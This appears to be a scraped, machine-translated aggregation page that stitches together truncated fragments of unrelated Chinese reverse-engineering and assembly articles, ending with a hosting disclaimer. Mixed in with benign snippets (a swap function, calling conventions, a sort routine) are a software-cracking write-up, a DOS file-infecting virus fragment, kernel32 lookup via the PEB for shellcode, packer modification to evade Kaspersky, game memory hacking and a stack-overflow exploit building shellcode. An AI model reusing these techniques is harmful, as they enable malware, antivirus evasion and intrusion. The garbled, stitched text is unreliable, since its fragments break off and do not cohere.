Article CRACK_QS[4ST][PDG]Compilation mode: DebugTest platform: Winodws 7 x64Compilation environment: Microsoft Visual Studio Ultimate (12.0.30723.00) Update 3About the x64 forum has other brother analysis, I have to tidy up their records. Non-dry science text, do not like to spray.If there is a missing part of this article please refer to the following post, if found error please feedback to me, thank you very much.Study on the rules of x64 transferHttp://bbs.chinapyg.com/thread-74565-1-1.htmlR
# Include Using namespace std;Class Base{Public:~ Base () {printf ("nBase: destructor .");}};Class Derived: public Base{Virtual void show (){Cout }Public:~ Derived () {printf ("nDerived: destructor .");}};Int main (){Base * pB = NULL;Derived * pD = new Derived;PB = pD; // in this case, pD obtains the address of (unsigned char *) pD 4, therefore, the execution of operator delete will crash (because the vptr memory is regarded as the size of the memory block to be released )./
code runs before the program calls the function ).4: Set the RVA address of the original input table to 0, and change the partition attribute of the input table to writable. The complete code is as follows: 10074280> $ E8 01000000 CALL 1291SS. 1007428610074285 00 DB 0010074286. 58 POP EAX10074287. 8038 00 cmp byte ptr ds: [EAX], 01007428A. 0F85 F5000000 JNZ 1291SS. 1007438510074290. FE00 inc byte ptr ds: [EAX]10074292 64: A1 3000000> mov eax, dword
You can display the time by loading the RTC Interrupt program with the loader of the previous operating system kernel loader (x86 assembler).; user.asm; The header file of the program, the information table of the whole program;--------Header-----------------------------------section header align=16 vstart= 0program_length DD program_endprogram_entry DW start DD section.code.startsection_count DW (sectio N_end-section_begin)/4section_begin:section_code DD section.code.startsection_data DD Sectio
that in the previous comment, Ms engineers wrote a "comment version" strlen, which is exactly the same as the strlen you previously implemented. However, it is an annotated version and will not be compiled into the program. The following Assembly implementation code is as follows:
CODESEG public strlenstrlen proc \ buf:ptr byte OPTION PROLOGUE:NONE, EPILOGUE:NONE .FPO ( 0, 1, 0, 0, 0, 0 ) string equ [esp + 4]
is found, delete it from the array.
Data Segment
Number DW 9 h
Data ends
Extra segment
List DW 0ah, 01 H, 9 h, 3 h, 4 h, 5 h, 9 h, 6 h, 9 h, 0ah, 9 h
Extra ends
Code segment
Assume DS: data, ES: Extra, CS: Code
Start:
MoV ax, Data
MoV ds, ax
MoV ax, extra
MoV es, ax
highlighting produced by Actipro CodeHighlighter (freeware)http://www.CodeHighlighter.com/-->Void swap (int * x, int * y)
{
Int temp;
Temp = * x;
* X = * y;
* Y = temp;
}
It is very simple, that is, to achieve two numbers exchange, people who have learned C language should be very familiar with this code.Add a test code:Code
Code highlighting produced by Actipro CodeHighlighter (freeware)http://www.CodeHighlighter.com/-->Int main (int argc, char * argv [])
{
Int a = 4, B = 5;
Swap ( a, B );
Game: tianlong Babu, version: 0.16.0108,
System Windows XP,
Tools : Ce5.2 + od1.10 + C #2005
Objective: To find the array format and location of strange data in the memory
First, correct the search method of the character base address in Note 1. The specific search method is described below:1. Ce finds a unique address based on the person's experience or blood (in reality, I am based on experience)2. OD writes a breakpoint to memory under an empirical address0044bc28 8b46 0C
;//////////////////////////////; First get the relocation difference
Call rebaseRebase:Pop EBP;Sub EBP, offset rebase;; Get the kernel32.dll's base address; By peb direct access; Place in here not routine; Because we need it afterAssume FS: nothing;
MoV eax, FS: [30 h]; PTR _ TebMoV eax, [eax + 0ch]; PTR _ peb_ldr_dataMoV eax, [eax + 1ch]; list_entry ininitializationordermodulelist. flinkMoV eax, [eax]; flink's flinkMoV eax, [eax + 08 h]; The Kernel32
on stackCall encrypt; Encrypt filePop bx; get back BXmov cx,virus_size number of bytes to writemov ah,40h; write to Fileint 21h;Push BXCall encrypt, fix up the messPop bxRetVirus_code:Wildcards db "*", 0 search for directory argumentFilespec DB "*. EXE ", 0; Search for EXE file argumentFILESPEC2 db "*.*", 0RootDir db "", 0; argument for root directoryDirdata db DUP (?); holds directory DTAFiledata db DUP (?); Holds files DTADiskdtaseg DW?; Holds disk DTA segmentDiskdtaofs DW?; Holds disk DTA of
SAVEREG macro Push AX push BX push cx push DX push si push di endm resavereg macro pop di pop si pop dx pop cx pop bx pop Ax Endm; ************************ data segment arr DW 10,9,8,7,6,5,4,3,2,1 n DW m DW data ends; ******************** code segment;------------------------main proc far assume Cs:code, Ds:data start:push ds Sub ax, ax push AX, MOV ax , Data mov ds, ax;------------; sort;------------; Si,d
conventions, I compiled the example code as C (not c ++ ). the function name decorations, mentioned later in the article, apply to the C decoration schema. c ++ name decorations are beyond the scope of this article.C calling convention (_ cdecl)
This Convention is the default for C/C ++ programs (compiler option/Gd ). if a project is set to use some other calling convention, we can still declare a function to use _ cdecl:
int __cdecl sumExample (int a, int b);
The main characteristics of _ cdec
is modified, Kabbah does not report any virus when it is added to other executable files in this way. The modified program ensures the re-running of the program, otherwise, this modification is meaningless. Start the operation. The following eight most common shells are prepared.
I. First test nspack3.6
Load the DT with the nspack shell with OD, and copy the top 10 lines as follows (the blue bold area is the part to be modified, as shown in the following format)004cf302 E8 00000000 call duplica
]} Access to the address in the topic, you can get a file, open after The file header is a lpck, do not know what format, but after seeing the MZ head. Delete all the parts before the MZ head, and successfully get an EXE. Requires input password. No way, just throw it into Ida ... find the key sections below: . text:00401363 mov [esp+5ch+var_5c], offset apassword; "Password:" . text:0040136a Call puts . text:0040136f Lea EAX, [esp+5ch+var_3e] . text
reaches 00401051, observe the function stack as follows:
We can see that the return address will be overwritten at the 13 offset of the TXT text.
Step 3:
(1) Compile the program code for the general pop-up calculator and extract the shellcode
# Include "stdio. h "int main () {unsigned int KerdllAddress; // defines the address unsigned int GetProcessAddr of kernel32; // defines the function address unsigned int loadlibrarya; unsigned int WinExecAddress; // The address of the command executio
The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion;
products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the
content of the page makes you feel confusing, please write us an email, we will handle the problem
within 5 days after receiving your email.
If you find any instances of plagiarism from the community, please send an email to:
info-contact@alibabacloud.com
and provide relevant evidence. A staff member will contact you within 5 working days.